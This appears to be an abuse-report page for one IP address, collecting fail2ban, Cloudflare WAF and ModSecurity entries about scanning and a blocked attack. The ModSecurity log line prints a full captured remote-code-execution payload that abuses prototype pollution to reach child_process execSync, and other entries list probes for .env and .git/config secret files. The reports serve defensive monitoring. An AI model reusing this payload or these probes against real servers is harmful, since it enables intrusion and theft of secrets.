Recent reportsWe have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Automated fail2ban report from server 176.99.5.35.
Attack type: web application attack (requests blocked by server rules) (jails: nginx-forbidden).
Observed: 2026-11-13T23:50:00+03:00.
Detections: 1 ban event(s), 10 failed attempts.
Ban duration: 1d. ...
show moreAutomated fail2ban report from server 176.99.5.35.
Attack type: web application attack (requests blocked by server rules) (jails: nginx-forbidden).
Observed: 2026-11-13T23:50:00+03:00.
Detections: 1 ban event(s), 10 failed attempts.
Ban duration: 1d.
Sample requests/indicators:
GET /.git/config
GET /.env
GET /.env.local
GET /.env.production
No personal data included.
--
Reported via Fail2Ban_AbuseIPDB Monitor: https://github.com/paulmann/Fail2Ban_AbuseIPDB
show less
Cloudflare WAF blocked 36 requests in 1h from IN. Top paths probed: /.env, /, /.env.test. Pattern: bot/scanner abuse. Auto-reported by Jarvis CF monitor.
[FriNov1313:18:23.2279672026][security2:error][pid814084:tid814251][client34.131.67.82:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\ ...
show more[FriNov1313:18:23.2279672026][security2:error][pid814084:tid814251][client34.131.67.82:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"4-server.com\"][uri\"/\"][unique_id\"avcAD4VQ6p662SCdZyA9iAAAARY\"]
show less
